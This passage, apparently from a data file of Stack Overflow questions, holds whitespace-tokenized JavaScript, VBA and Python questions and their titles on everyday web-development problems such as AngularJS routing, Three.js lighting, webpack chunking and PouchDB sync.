Apache/2.2.3 ( Red Hat ) Connection : closeContent-Type : text/html ; charset=ISO-8859-1Content-Length : 61Location : /cgi-bin/objectBrowser/workWithSnap.pl ? snapKey=32 print $ cgi- > header ( -status = > '302 Found ' ) ; print `` Location : /cgi-bin/objectBrowser/workWithSnap.pl ? snapKey= $ snap_key\n\n '' ; jQuery.ajax ( { type : `` GET '' , url : `` /cgi-bin/objectBrowser/file.pl ? pmr= '' + request.pmr + `` & filename= '' + request.filename , statusCode : { 200 : function ( file_info ) { if ( file_info.status == `` parsing '' ) { jQuery ( 'div # updates ' ) .append ( ' < div class= '' information '' > No snap yet , but file < i > has < /i > been registered already. < /div > ' ) ; jQuery ( 'div # updates ' ) .append ( ' < div class= '' waiting '' > Awaiting job completion ... < /div > ' ) ; jQuery.getJSON ( `` /cgi-bin/objectBrowser/job.pl ? file_key= '' + file_info.file_key , function ( job_info ) { poll_for_job_completion ( job_info ) ; } ) ; } else { jQuery.ajax ( { type : `` GET '' , url : `` /cgi-bin/objectBrowser/snap.pl ? file_key= '' + file_info.file_key , statusCode : { 302 : function ( xhr ) { jQuery ( 'div # updates ' ) .append ( ' < div class= '' information '' > Redirecting to snap < /div > ' ) ; alert ( `` 302 : `` + xhr.responseText ) ; process_302 ( xhr.responseText ) ; } } } ) ; } } , 302 : function ( xhr ) { alert ( `` 302 : `` + xhr.responseText ) ; process_302 ( xhr.responseText ) ; } , 404 : register_file } } ) ; jQuery ( 'body ' ) .ajaxComplete ( function ( e , a , o ) { console.log ( 'Event : % o\nXHR : % o\nOptions : % o ' , e , a , o ) ; console.log ( o.url ) ; console.log ( a.status ) ; console.log ( a.responseText ) ; } ) ;",Why does MSIE 8 report an HTTP status code of 12150 ? "JS : I was writing some code in JavaScript . When I accidentally came across this.How is it that first statement is valid whereas the other two are invalid . From what I know both undefined , true , and null are values you can assign to some variable , so all these should be invalid statements . undefined = 'some value ' //does not give any errortrue = 'some value ' ; //gives errornull = 'some value ' ; //gives error",Assigning value to undefined in JavaScript "JS : I 'm currently using AngularJS and Three.js to try to develop a small example of a VR application . I have defined controls based on whether the user agent is a mobile device or not . It 's a dodgy method , but it 's just an example . OrbitControls are used on non-mobile devices , and DeviceOrientationControls are used otherwise.I also created a few objects to actually display.This works fine on Chrome for OSX , Safari for OSX & Safari on iPad ( including device orientation controls where appropriate ) .The problem occurs when running the application on Chrome for Android . The spotlight that has been added to the scene will constantly be pointed in the same direction as the camera . Here is a screenshot of the application running on Android : On every other browser I have tried to use , the light is positioned at ( 50 , 50 , 50 ) correctly and remains static . In the example above , the light is being rendered in the middle of the camera , and continues to follow the camera when it is moved or rotated . The actual orientation controls work just fine.The fact that this only happens in one browser is really giving me headaches , as the demo needs to run on Chrome for Android.Thanks.Update : Have been attempting many different solutions from different control methods to different types of lighting to no avail . var controls = new THREE.OrbitControls ( camera , game.renderer.domElement ) ; controls.noPan = true ; controls.noZoom = true ; controls.target.set ( camera.position.x , camera.position.y , camera.position.z ) ; // Really dodgy method of checking if we 're on mobile or notif ( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test ( navigator.userAgent ) ) { controls = new THREE.DeviceOrientationControls ( camera , true ) ; controls.connect ( ) ; controls.update ( ) ; } return controls ; this.camera = new THREE.PerspectiveCamera ( 90 , window.innerWidth / window.innerHeight , 0.001 , 1000 ) ; this.camera.position.set ( 0 , 15 , 0 ) ; this.textGeometry = new THREE.TextGeometry ( `` Hello World '' , { size : 5 , height : 1 } ) ; this.textMesh = new THREE.Mesh ( this.textGeometry , new THREE.MeshBasicMaterial ( { color : 0xFF0000 , opacity : 1 } ) ) ; this.textMesh.position.set ( -20 , 0 , -20 ) ; this.light = new THREE.SpotLight ( 0x999999 , 3 , 300 ) ; this.light.position.set ( 50 , 50 , 50 ) ; this.floorGeometry = new THREE.PlaneBufferGeometry ( 1000 , 1000 ) ; this.floorTexture = THREE.ImageUtils.loadTexture ( 'img/textures/wood.jpg ' ) ; this.floorTexture.wrapS = THREE.RepeatWrapping ; this.floorTexture.wrapT = THREE.RepeatWrapping ; this.floorTexture.repeat = new THREE.Vector2 ( 50 , 50 ) ; this.floorTexture.anisotropy = this.game.renderer.getMaxAnisotropy ( ) ; this.floorMaterial = new THREE.MeshPhongMaterial ( { color : 0xffffff , specular : 0xffffff , shininess : 20 , shading : THREE.FlatShading , map : this.floorTexture } ) ; this.floor = new THREE.Mesh ( this.floorGeometry , this.floorMaterial ) ; this.floor.rotation.x = -Math.PI / 2 ; this.scene.add ( this.textMesh ) ; this.scene.add ( this.light ) ; this.scene.add ( this.floor ) ; this.scene.add ( this.camera ) ;","Why does the spotlight in my three.js scene remain centered in the camera perspective , but only on Chrome for Android ?" "JS : I 'm writing my first data scraper using Excel and VBA . I 'm stuck trying to go to the next page of a website . The source code looks as follows : This is the VBA code I have but does not seem to work : When I run the code I do n't get any errors , but it does n't seem to go to page 2 . Keep in mind that there are more pages after page 2 . My idea is replace `` 2 '' with a variable later and increase that variable by one . But I need to get it to work first . Thanks to whoever can help . < li > < a href= '' # '' onclick= '' changePage ( 2 ) ; return false ; '' > Page 2 of 24 < /a > < /li > For Each l In ie.Document.getElementsByTagName ( `` a '' ) If l.href = `` # '' And l.onclick = `` changePage ( 2 ) ; return false ; '' Then l.Item ( 2 ) .Click Exit For End IfNext l",Excel VBA / HTML Clicking next page from dropdown "JS : I have following JavaScript code.and now to replace the emotion with span in the given text I am using following functionsNow the above code is working fine.If I pass the text in the function as belowsee the space between 2 emotions character.But if I remove the space between both the emotion then it does not work.Like belowThere is something wrong with my regular expression but I am not been able to figure it out . var emoticons = { ' : ) ' : ' < span class= '' emoticon emoticon_smile '' > < /span > ' , ' : - ) ' : ' < span class= '' emoticon emoticon_smile '' > < /span > ' , ' : ( ' : ' < span class= '' emoticon emoticon_sad '' > < /span > ' , ' : d ' : ' < span class= '' emoticon emoticon_bigSmile '' > < /span > ' , ' : D ' : ' < span class= '' emoticon emoticon_bigSmile '' > < /span > ' } function Emotions ( text ) { if ( text == null || text == undefined || text == `` '' ) return ; var pattern = / [ : \- ) ( D/pPy @ '* ] +/gi ; return text.replace ( pattern , function ( match ) { return typeof emoticons [ match ] ! = 'undefined ' ? emoticons [ match ] : match ; } ) ; } Emotions ( `` Hey this is a test : ( : ( `` ) ; Emotions ( `` Hey this is a test : ( : ( `` ) ;",Using regular Expression to replace emotions character in javascript "JS : I 'm trying to create a public gist via javascript . I 'm not using any authentication - this is all client-side.The above code throws a 400 : Bad Request - Problems parsing JSON . However , my JSON is valid . Any ideas ? var gist = { `` description '' : `` test '' , `` public '' : true , `` files '' : { `` test.txt '' : { `` content '' : `` contents '' } } } ; $ .post ( 'https : //api.github.com/gists ' , gist , function ( data ) { } ) ;",ca n't POST to github v3 API "JS : I 'm using Lawnchair to store persistent data using the `` dom adapter '' of my web client ( Firefox 13.0 ) and have hit the storage quota . Console.log saysFair enough ; I 'll just nuke it with this : Before I hit my storage quota , the code above worked to wipe everything out of persistent storage . But now it does n't work . The page displays fine , but console log shows nothing . I expect it to say `` nuked '' as it used to.The following code displays all of my persistent data ( after trying to nuke ( ) it with the code above ) .How can I make Lawnchair.nuke ( ) work after it 's hit its storage limit ? Persistent storage maximum size reached < script type= '' text/javascript '' charset= '' utf-8 '' > Lawnchair ( function ( ) { this.nuke ( ) ; console.log ( `` nuked '' ) ; } ) ; < /script > < script type= '' text/javascript '' charset= '' utf-8 '' > Lawnchair ( function ( ) { this.keys ( function ( values ) { values.forEach ( console.log ) } ) } ) ; < /script >",Lawnchair .nuke ( ) not working after filling my storage quota "JS : I know this sounds silly but I 'm writing a wysiwyg editor that allows Designers to create style guides . I 've become very fascinated with 2 way binding in angular and was curious if it was possible to two-way bind between a css sheet and a ng-model input field . Currently , I 'm making a dynamic style guide that allows a designer to colorpick a primary , secondary colors of a page . These color will change the entire theme of the site uniformly and it would be awesome to do this from the stylesheet itself . HTMLCSSjs $ scope.color { primary : '00f ' , secondary : ' # e58 ' } I know there are plenty of directives like ng-style and ng-class But I fear that every tag will have to be a directive because everything could have an ng-style/ng-class tag . Thus making my code not very dry and hard to maintain.What if I wanted a dynamic style guide of css . A sheet that I could store as key value pairs of CSS into server like firebase , perhaps even 3way bind the changing of colors in real time ? I 'm pretty sure this can not be accomplished using solely angular ... would anyone have any ideas on pre compilers or hacks to accomplish this task so that it would result in one clean style guy ? < input type= '' text '' ng-model= '' color.primary '' / > < button class= '' btn primary-color '' / > .primary-color { background : { { color.primary } } ; }",A solution for two-binding between angular and a style sheet "JS : I wanted to extend String object prototype with some utility method . It worked , but the performance was surprisingly low . Passing a string to a function is 10x times faster than overriding the String.prototype method that is doing the same thing . To make sure this really happens I created a very simple count ( ) function and the corresponding methods . ( I was experimenting , and created three different versions of the method . ) Results : As you can see the difference is dramatic.The below proves that performance of method calls is neglectably slower , and that the function code it self is slower for methods.Results : Although on huge repetitions ( like 1e8 ) prototyped methods proves to be 10x times slower than functions , this can be ignored for this case.All this may be related only to a String object , because simple generic objects perform about the same when you pass them to functions or call their methods : Results : I 've been searching on Stackoverflow and binging , but other that the recommendation `` do not extend String or Array because you pollute the name space '' ( which is not a problem for my particular project ) , I can not find anything related to performance of methods compared to functions . So should I simply forget about extending the String object due to performance drop of added methods or there is more about it ? function count ( str , char ) { var n = 0 ; for ( var i = 0 ; i < str.length ; i++ ) if ( str [ i ] == char ) n++ ; return n ; } String.prototype.count = function ( char ) { var n = 0 ; for ( var i = 0 ; i < this.length ; i++ ) if ( this [ i ] == char ) n++ ; return n ; } String.prototype.count_reuse = function ( char ) { return count ( this , char ) } String.prototype.count_var = function ( char ) { var str = this ; var n = 0 ; for ( var i = 0 ; i < str.length ; i++ ) if ( str [ i ] == char ) n++ ; return n ; } // Here is how I measued speed , using Node.js 6.1.0var STR ='0110101110010110100111010011101010101111110001010110010101011101101010101010111111000 ' ; var REP = 1e3//6 ; console.time ( 'func ' ) for ( var i = 0 ; i < REP ; i++ ) count ( STR , ' 1 ' ) console.timeEnd ( 'func ' ) console.time ( 'proto ' ) for ( var i = 0 ; i < REP ; i++ ) STR.count ( ' 1 ' ) console.timeEnd ( 'proto ' ) console.time ( 'proto-reuse ' ) for ( var i = 0 ; i < REP ; i++ ) STR.count_reuse ( ' 1 ' ) console.timeEnd ( 'proto-reuse ' ) console.time ( 'proto-var ' ) for ( var i = 0 ; i < REP ; i++ ) STR.count_var ( ' 1 ' ) console.timeEnd ( 'proto-var ' ) func : 705 msproto : 10011 msproto-reuse : 10366 msproto-var : 9703 ms function count_dummy ( str , char ) { return 1234 ; } String.prototype.count_dummy = function ( char ) { return 1234 ; // Just to prove that accessing the method is not the bottle-neck . } console.time ( 'func-dummy ' ) for ( var i = 0 ; i < REP ; i++ ) count_dummy ( STR , ' 1 ' ) console.timeEnd ( 'func-dummy ' ) console.time ( 'proto-dummy ' ) for ( var i = 0 ; i < REP ; i++ ) STR.count_dummy ( ' 1 ' ) console.timeEnd ( 'proto-dummy ' ) console.time ( 'func-dummy ' ) for ( var i = 0 ; i < REP ; i++ ) count_dummy ( STR , ' 1 ' ) console.timeEnd ( 'func-dummy ' ) func-dummy : 0.165msproto-dummy : 0.247ms var A = { count : 1234 } ; function getCount ( obj ) { return obj.count } A.getCount = function ( ) { return this.count } console.time ( 'func ' ) for ( var i = 0 ; i < 1e9 ; i++ ) getCount ( A ) console.timeEnd ( 'func ' ) console.time ( 'method ' ) for ( var i = 0 ; i < 1e9 ; i++ ) A.getCount ( ) console.timeEnd ( 'method ' ) func : 1689.942msmethod : 1674.639ms",Extending String.prototype performance shows that function calls are 10x faster "JS : I 'm having ( albeit minor ) issues with $ routeProvider . http : //localhost/thisapp/ works fine , and redirects to the .otherwise ( ) perfectly . But it seems that once the app is loaded and lands on the `` home '' url ( http : //localhost/thisapp/ # / ) Then it breaks . If I navigate to http : //localhost/thisapp the $ location resolves to http : //localhost/thisapp/ # / If I refresh ( because you know a user will do that ) , then the code breaksI 've tried using $ locationProvider but that 's even more confusing . It seems the more I read up on it , the more confused I get because what 's documented does n't seem to work . ( If I uncomment the $ locationProvider line below , nothing generates ) . I 've looked at various tutorials and issues on StackOverflow , but does n't work as it seems to be supposed to.Here 's my config code : myApp.config ( function ( $ routeProvider , $ locationProvider ) { // commented cuz it 's not working // $ locationProvider.html5Mode ( true ) ; $ routeProvider .when ( '/ ' , { templateUrl : 'app2/components/templates/overview.html ' , controller : 'overviewController ' } ) .when ( '/all_overview ' , { templateUrl : 'app2/components/templates/overview.html ' , controller : 'overviewController ' } ) .when ( '/all_procurement ' , { templateUrl : 'app2/components/templates/procurement.html ' , controller : 'procurementController ' } ) .when ( '/all_social ' , { templateUrl : 'app2/components/templates/social.html ' , controller : 'socialController ' } ) .when ( '/all_strengthening ' , { templateUrl : 'app2/components/templates/strengthening.html ' , controller : 'strengtheningController ' } ) .when ( '/all_sales ' , { templateUrl : 'app2/components/templates/sales.html ' , controller : 'salesController ' } ) // otherwise go to all_overview .otherwise ( { redirectTo : '/all_overview ' } ) ; } ) ;","Angular $ routeProvider http : //localhost/thisapp/ == ok , http : //localhost/thisapp/ # / == error . Why ?" "JS : In most JSON serializers/deserializers , the `` key '' part in a javascript dictionary/hash array is written as a string.What is the benefit of using a string as the key as opposed to just typing the intended name in ? For example , say I define two objects k1 and k2 like so : And I then ran the following tests : So what 's the point of having the keys be in double-quotation marks ( a string ) as in the way k2 was defined instead of just typing the key names in as in the way k1 was defined ? I just saw this over at Ajaxian pointing to Aaron Boodman 's blog entry : Since he also use camel case for tabIndex , I do n't see any point in using a string at all.Why not : Why would a JS ninja follows the convention of turning url , selected and tabIndex into a string ? var k1 = { a : 1 , b : 2 , c : 3 } ; // define name normallyvar k2 = { `` a '' : 1 , `` b '' : 2 , `` c '' : 3 } ; // define name with a string alert ( k1 == k2 ) ; // false ( of course ) alert ( k1.a == k2.a ) ; // truealert ( k1 [ `` b '' ] == k2 [ `` b '' ] ) ; // truealert ( uneval ( k1 ) ) ; // returns the k1 object literal notation.alert ( uneval ( k2 ) ) ; // returns the same string as above line.alert ( uneval ( k1 ) == uneval ( k2 ) ) ; // true chromium.tabs.createTab ( { `` url '' : `` http : //www.google.com/ '' , `` selected '' : true , `` tabIndex '' : 3 } ) ; chromium.tabs.createTab ( { url : `` http : //www.google.com/ '' , selected : true , tabIndex : 3 } ) ;",Why should the `` key '' part in a JS hash/dict be a string ? "JS : Right now I am replicating my entire device database over to my remote database.Once that is complete , I grab all my data that is not older than 1 month from my remote database , using a filter , and bring it to my device.FILTERREPLICATIONMy question : I want to be able to periodically delete data from my device that is older than 3 months ( old enough data where I already know it 's been sync 'd ) But just because I delete it from my device , when I replicate the data back to my remote_db , I do n't want it to be deleted on there too.How can I delete specific data on my device but not have that deletion translated when I replicate ? { _id : '_design/filters ' , `` filters '' : { `` device '' : function ( doc , req ) { if ( doc.type == `` document '' || doc.type == `` signature '' ) { if ( doc.created > = req.query.date ) return true ; else return false ; } else return true ; } } } device_db.replicate.to ( remote_db ) .on ( 'complete ' , function ( ) { device_db.replicate.from ( remote_db , { filter : `` filters/device '' , query_params : { `` date '' : ( Math.floor ( Date.now ( ) / 1000 ) -2419200 ) } } ) .on ( 'complete ' , function ( ) { console.log ( `` localtoRemoteSync replicate.to success '' ) ; callback ( true ) ; } ) ; } ) ;",PouchDB delete data on device without affecting remote sync "JS : Suppose that you want to check what input string a user has entered in a form field . Which one would be the fastest way to check this input against a list of possible values ? The following examples use jQuery.First method : using ||Second method : using inArray ( ) Are there any significant differences between these two methods ? if ( input == `` firstValue '' || input == `` secondValue '' || ... ) { ... } if ( $ .inArray ( input , array ) > = 0 ) { ... }",Performance of OR operation ( || ) vs inArray ( ) "JS : So I have two different webpack configs I 'm passing in an array that looks something like this : andThe entrypoints are the exact same files ( and this is where I think my problem is coming from ) . I have a conditional in my index.html which loads framework.ie.js if it detects IE , and framework.js if it does not . This works as expected . The problem is that it does not load the numbered chunks consistently . Sometimes I see 0.bundle.js getting loaded , and sometimes I see 0.bundle.ie.js getting loaded ( regardless of whether framework.ie.js or framework.js got loaded ) .Is there some way to make it consistently load the correct chunk or is there a way to just make sure that everything I need just gets loaded into the framework bundles without any chunks getting loaded by webpack ? [ { entry : entrypointsIE , output : outputIE , module : { loaders : [ // set of loaders that has one difference to load SCSS variables from a different location ] } , resolveLoader : resolveLoader , resolve : resolve , plugins : plugins , devServer : devServer } , { entry : entrypoints , output : output , module : { loaders : [ // loaders all the same as the IE9 except one difference in sass loader ] } , resolveLoader : resolveLoader , resolve : resolve , plugins : plugins , devServer : devServer } ] output = { path : '/web/dist ' , filename : ' [ name ] .bundle.js ' , chunkFilename : ' [ id ] .bundle.js ' } ; outputIE = { path : '/web/dist ' , filename : ' [ name ] .ie.bundle.js ' , chunkFilename : ' [ id ] .ie.bundle.js ' } ; apps.forEach ( function ( appName , index ) { entrypoints [ appName ] = [ 'webpack/hot/dev-server ' , appName + '/app ' ] ; } ) ; appsIE = apps ; appsIE.forEach ( function ( appName , index ) { entrypointsIE [ appName ] = [ 'webpack/hot/dev-server ' , appName + '/app.ie ' ] ; } ) ;",Webpack numbered chunks not loading correctly per config JS : I 'm trying to work strictly using native ES Modules without transpiling my own code but often times I will find a third party library that is packaged with Webpack and babel as a UMD which seems to be the most common format these days.This does n't import so wellResults in SyntaxError : The requested module does not provide an export named 'mat4 ' I do n't think UMD should really be called universal.Sure I could import the src directly but then I have to take on whatever babel configuration they may have . I 'm trying to avoid transpiling any of my code and I just want to transpile all UMD node_modules to use within my code.What I 'm looking for is the opposite of this : https : //www.npmjs.com/package/babel-plugin-transform-es2015-modules-umdI want to convert from UMD to ES . This way I could trust that the library has transpiled away anything non standard and I can import it as normal . I 've searched the web but I did n't find anything . I tried the commonjs to es modules plugin but it did n't work because the export declarations were n't at the top level . Does anyone know if there is a plugin that does this or can anyone provide some ideas on how they deal with this type of scenario ? import { mat4 } from 'https : //cdnjs.cloudflare.com/ajax/libs/gl-matrix/2.4.0/gl-matrix.js ',Convert Webpack UMD to Native ES Module "JS : I have added some staggered animations to my angular 7 app for elements to animate on page load . I have encountered this weird z-index issue on one of my components . The animation code is this : This code causes the following result only on webkit browsers : The share component should appear in front of every other element however the metronome icon appears ontop . I have tried setting the max z-index on the share component but have had no luck . @ Component ( { selector : 'track-page ' , templateUrl : './track-page.component.html ' , styleUrls : [ './track-page.component.scss ' ] , animations : [ trigger ( 'fadeIn ' , [ transition ( ' : enter ' , [ query ( '* ' , style ( { opacity : 0 } ) ) , query ( '* ' , [ animate ( '500ms ' , style ( { opacity : 1 } ) ) ] ) , ] ) ] ) , trigger ( 'swipeUp ' , [ transition ( 'void = > * ' , [ query ( '* ' , style ( { opacity : 0 , transform : 'translate3d ( 0,20 % ,0 ) ' } ) ) , query ( '* ' , stagger ( 10 , [ animate ( '700ms ease-in ' , keyframes ( [ style ( { opacity : 1 , transform : 'none ' , offset : 1 } ) ] ) ) ] ) ) ] ) ] ) ] } )",Angular 7 animations causes z-index overlapping issue on webkit browsers "JS : I am using the following code to convert a dynamic string into a valid class.This works fine in all major browsers , but not in Internet Explorer and I 'm wondering why . The gi flags are for global and case insensitive , but removing them means that the replace does n't work in Firefox either.Any ideas on how I change this to make it more friendly with more browers ? domain.replace ( ' . ' , ' _ ' , 'gi ' )",Cross browser Javascript regex JS : How can I change the above to show 6h instead ? moment ( ) .startOf ( 'day ' ) .fromNow ( ) //6 hours ago .,Abbreviated relative time ( Instagram style ) using momentjs ? "JS : I 'm trying to get every value from an 'application ' object ( in javascript using jquery ) which has mostly Strings and booleans properties , but also a List . I want to get it on my server-side , java.Here what I do to get the Strings and boolean : Javascript with REST : application is my object of course . It contains an Array called mails filled with Strings.From here I can use every single attributes to do what I want , but ca n't get my array by any mean ... I 'm probably doing something wrong , can somebody help ? Thanks a lot . requete = clientRestApplication.saveApplication.read ( application.id , application ) ; requete.done ( ) ; @ RequestMapping ( value = `` /enregistrerApplication/id/ { id } '' , method = RequestMethod.GET ) @ ResponseBodypublic void EnregistrerApplication ( @ PathVariable Long id , String nom , String acronyme , Integer idWebGD , Boolean estProgressWindows , Boolean estProgressUnix , Boolean estDelphi , String cheminPatchWin , String cheminPatchUnix , String cheminOutilsCompileWin , String cheminOutilsCompileUnix , String serveurCVS , String loginCVS , String mdpCVS , boolean versionEncours , ArrayList < String > mails ) { ... }",How to get javascript ( jquery ) Array from java ? "JS : I have such nodejs code : When I execute it , application prints array of database rows and is still running after that . Seems it happens because connection is n't released . How to release it after console.log ? I 've tried this way : but result is TypeError : this.connection.release is not a function.Sorry for my English.Any ideas ? var mysql = require ( 'mysql2/promise ' ) ; mysql.createConnection ( { host : `` localhost '' , user : `` root '' , password : `` 123123 '' , database : `` mydatabase '' } ) .then ( ( connection ) = > connection.execute ( `` SELECT * FROM mytable '' ) ) .then ( ( [ rows , fields ] ) = > { console.log ( rows ) ; } ) ; var mysql = require ( 'mysql2/promise ' ) ; mysql.createConnection ( { host : `` localhost '' , user : `` root '' , password : `` 123123 '' , database : `` mydatabase '' } ) .then ( ( connection ) = > { connection.execute ( `` SELECT * FROM mytable '' ) .then ( ( [ rows , fields ] ) = > { console.log ( rows ) ; connection.release ( ) ; } ) ; } ) ;",How to close sql connection when using mysql2/promise ? "JS : I 'm trying to create a reliable compass in Javascript/JQuery ( using deviceorientation ) so that it works on iOS and Android mobile devices.I know nearly every ( very old ) question/answer here in Stackoverflow about this topic . I have created a pretty simple compass that is working fine on iOS devices . On Android devices ( Galaxy S8 ) I have a weird behaviour : Like every day I 'm testing it the compass direction North switches by an offset to -45/+45 , 90 ( North is in East ) , 180 ( North is in South ) or 270 degrees ( North is in West ) . Yes , I considered compass calibration ( 8-figure movement , turning the mobile around it 's 3 axes before testing ) .Here 's the Javascript code for the compass : In short : iOS ( iPhone , iPad ) : use event.webkitCompassHeading - > works fineChrome : use ondeviceorientationabsolute - > leads to described deviation problemElse : deviceorientation considering alpha - > leads to described deviation problemI am aware I have to consider also beta and gamma axis . For my tests I put the mobile on a table , so only alpha is relevant.By my research I 've found a very advanced/complete javascript compass mentioned in Stackoverflow ( fulltilt-min.js ) considering all 3 axes . Here 's the demo to it . Even this compass shows me the exactly same wrong heading as my compass does.So can anyone explain this behaviour on Android mobiles or knows how to fix that ? if ( isIos ( ) ) // // Function in the background evaluating OS { window.addEventListener ( 'deviceorientation ' , function ( event ) { var alpha ; // Use Webkit heading for iOS alpha = event.webkitCompassHeading ; if ( alpha < 0 ) { alpha += 360 ; } if ( alpha > 360 ) { alpha -= 360 ; } // Calculated heading console.log ( alpha ) ; } ) ; } else { // Any other device , with Chrome browser if ( 'ondeviceorientationabsolute ' in window ) { // Chrome 50+ specific window.addEventListener ( 'deviceorientationabsolute ' , function ( event ) { var alpha = 360 - event.alpha ; if ( alpha < 0 ) { alpha += 360 ; } if ( alpha > 360 ) { alpha -= 360 ; } // Calculated heading console.log ( alpha ) ; } ) ; } else { window.addEventListener ( 'deviceorientation ' , function ( event ) { var alpha = 180 - event.alpha ; if ( alpha < 0 ) { alpha += 360 ; } if ( alpha > 360 ) { alpha -= 360 ; } // Calculated heading console.log ( alpha ) ; } ) ; } }",How do I create a reliable compass for iOS and Android in Javascript ? "JS : I 'm writing a JavaScript function that makes an HTTP request and returns a promise for the result ( but this question applies equally for a callback-based implementation ) .If I know immediately that the arguments supplied for the function are invalid , should the function throw synchronously , or should it return a rejected promise ( or , if you prefer , invoke callback with an Error instance ) ? How important is it that an async function should always behave in an async manner , particularly for error conditions ? Is it OK to throw if you know that the program is not in a suitable state for the async operation to proceed ? e.g : function getUserById ( userId , cb ) { if ( userId ! == parseInt ( userId ) ) { throw new Error ( 'userId is not valid ' ) } // make async call } // OR ... function getUserById ( userId , cb ) { if ( userId ! == parseInt ( userId ) ) { return cb ( new Error ( 'userId is not valid ' ) ) } // make async call }",Should an async API ever throw synchronously ? "JS : Let 's imagine we have those Django models : When using the admin to manage those models , the band field is associated to a Widget rendered by Django as a select html element.Django 's admin also adds a green plus icon next to the select , clicking it opens a pop-up window where the user is presented with the Form to add a new band . When clicking the save button in this pop-up window , the new band name is saved in the DB , and automatically assigned to the select value.We rely on some javascript to be run each time a select value changes . It is currently listening to the change event of said element , which works fine when the user clicks a value directly in the menu proposed by the select.Sadly , when this select is populated through the Admin Popup functionality , it seems the change event is not fired for the select , as our callback is not executed , even though the element 's value is actually changed.Is there another event we can listen to to get the same behaviour than when the user clicks a value directly from the list ? class Band ( models.Model ) : name = models.CharField ( max_length=256 , default= '' Eagles of Death Metal '' ) class Song ( models.Model ) : band = models.ForeignKey ( Band )",Is there an event or another way to call a Javascript function when a Django Admin Popup ( the green plus icon ) completes ? "JS : This line appears in the default Expo babel.config.js , but I ca n't find any reference anywhere to what it does . Is there anyone who knows what this does ? module.exports = function ( api ) { api.cache ( true ) ; return { presets : [ 'babel-preset-expo ' ] , } ; } ;",What does api.cache ( true ) do in Expo 's babel.config.js ? "JS : I have a method for extracting all the `` words '' from a string in javascript : I 'd like to convert that same logic ( create an array of `` words '' from my string ) , but in python . How can I achieve that ? mystring.toLowerCase ( ) .match ( / [ a-z ] +/g ) ;",Equivalent of Javascript `` match '' in python JS : Trying to have it scroll based on if it was clicked on the left or right side of the page . Does n't seem to work.. Perhaps my syntax is incorrect or the method i 'm using to find the left or right side of the page is ? with < body onclick= '' scrollevent ( ) '' > : < script > function scrollevent ( ) { var y=0 ; var pwidth = $ ( ' # slideshow ' ) .width ( ) ; var mouseY = ev.clientY ; if ( mouseY < ( pwidth/2 ) { $ ( ' # slideshow ' ) .animate ( { scrollLeft : `` +=400 '' } ) ; } else { $ ( ' # slideshow ' ) .animate ( { scrollLeft : `` -=400 '' } ) ; } } < /script >,onclick scroll event - syntax ? "JS : tl ; dr : The initial question was `` How to trigger a callback every digest cycle ? '' but the underlying question is much more interesting and since this answers both , I went ahead and modified the title . = ) Context : I 'm trying to control when angular has finished compiling the HTML ( for SEO prerendering reasons ) , after resolving all of its dependencies , ngincludes , API calls , etc . The `` smartest '' way I have found so far is via checking whether digest cycles have stabilized.So I figured that if I run a callback each time a digest cycle is triggered and hold on to the current time , if no other cycle is triggered within an arbitrary lapse ( 2000ms ) , we can consider that the compilation has stabilized and the page is ready to be archived for SEO crawlers.Progress so far : I figured watching $ rootScope. $ $ phase would do but , while lots of interactions should trigger that watcher , I 'm finding it only triggers once , at the very first load.Here 's my code : Solution : Added Mr_Mig 's solution ( kudos ) plus some improvements . app.run ( function ( $ rootScope ) { var lastTimeout ; var off = $ rootScope. $ watch ( ' $ $ phase ' , function ( newPhase ) { if ( newPhase ) { if ( lastTimeout ) { clearTimeout ( lastTimeout ) ; } lastTimeout = setTimeout ( function ( ) { alert ( 'Page stabilized ! ' ) ; } , 2000 ) ; } } ) ; app.run ( function ( $ rootScope ) { var lastTimeout ; var off = $ rootScope. $ watch ( function ( ) { if ( lastTimeout ) { clearTimeout ( lastTimeout ) ; } lastTimeout = setTimeout ( function ( ) { off ( ) ; // comment if you want to track every digest stabilization // custom logic } , 2000 ) ; } ) ; } ) ;",How to check if the digest cycles have stabilized ( aka `` Has angular finished compilation ? '' ) "JS : I have a function that corrects capitalization for a list of unusually capitalized words : Now the problem I am facing is that most input strings will contain on average between 0 and 3 of these words . Obviously now I am doing dozens ( and potentially hundreds ; that array has an uncanny tendency to grow over time ) of function calls which essentially do nothing.How can I make this code faster and get rid of the unnecessary function calls ? Example input : My iphone application has a user form under UIViewController . When I start application again some of my UIView changes its positions and sizes . ( These UIViews depend on keyboard position ) Somewhere is definitely my fault . I try to figure what is going on when application starts again from background and where the UIView changes can be done . var line = `` some long string of text '' ; [ `` AppleScript '' , `` Bluetooth '' , `` DivX '' , `` FireWire '' , `` GarageBand '' , `` iPhone '' , `` iTunes '' , `` iWeb '' , `` iWork '' , `` JavaScript '' , `` jQuery '' , `` MacBook '' , `` MySQL '' , `` PowerBook '' , `` PowerPoint '' , `` QuickTime '' , `` TextEdit '' , `` TextMate '' , // ... `` Wi-Fi '' , `` Xcode '' , `` Xserve '' , `` XMLHttpRequest '' ] .forEach ( function ( name ) { line = line.replace ( RegExp ( name , `` gi '' ) , name ) ; } ) ;",JavaScript regexp performance . JS : I have a single text box with no submit button on form as below : when text box is selected and i press enter key form will get submitted and google page will be displayed.however if i have two text box as bellow : now if i press submit button nothing will happen.Can anyone explain here : i ) why form is get submitted in first case ? ii ) why form is not submitting in second case ? < html > < form action= '' http : //www.google.com '' > < input type= '' text '' / > < /form > < /html > < html > < form action= '' http : //www.google.com '' > < input type= '' text '' / > < input type= '' text '' / > < /form > < /html >,Single text box and submit behaviour "JS : For example , if I runon the src folder of my project , it output all the files in . , but each and every file contains things likeIs it somehow possible to have babel write these common boilerplate things to a file , then use require in each file to import them ? So the boilerplate code in each file might now look like this : and the babel-functions.js file ( or whatever it shall be named ) would be located in the -- out-dir , which is . in my case , and all files would have that require statement at the top . Files in folders would have require ( ../babel-functions ) , require ( ../../babel-functions ) , etc.Is there some type of option to do this ( or similar ) with Babel ? babel src -- source-maps -- out-dir . -- modules common var _createClass = ( function ( ) { function defineProperties ( target , props ) { for ( var i = 0 ; i < props.length ; i++ ) { var descriptor = props [ i ] ; descriptor.enumerable = descriptor.enumerable || false ; descriptor.configurable = true ; if ( 'value ' in descriptor ) descriptor.writable = true ; Object.defineProperty ( target , descriptor.key , descriptor ) ; } } return function ( Constructor , protoProps , staticProps ) { if ( protoProps ) defineProperties ( Constructor.prototype , protoProps ) ; if ( staticProps ) defineProperties ( Constructor , staticProps ) ; return Constructor ; } ; } ) ( ) ; var _get = function get ( _x , _x2 , _x3 ) { var _again = true ; _function : while ( _again ) { var object = _x , property = _x2 , receiver = 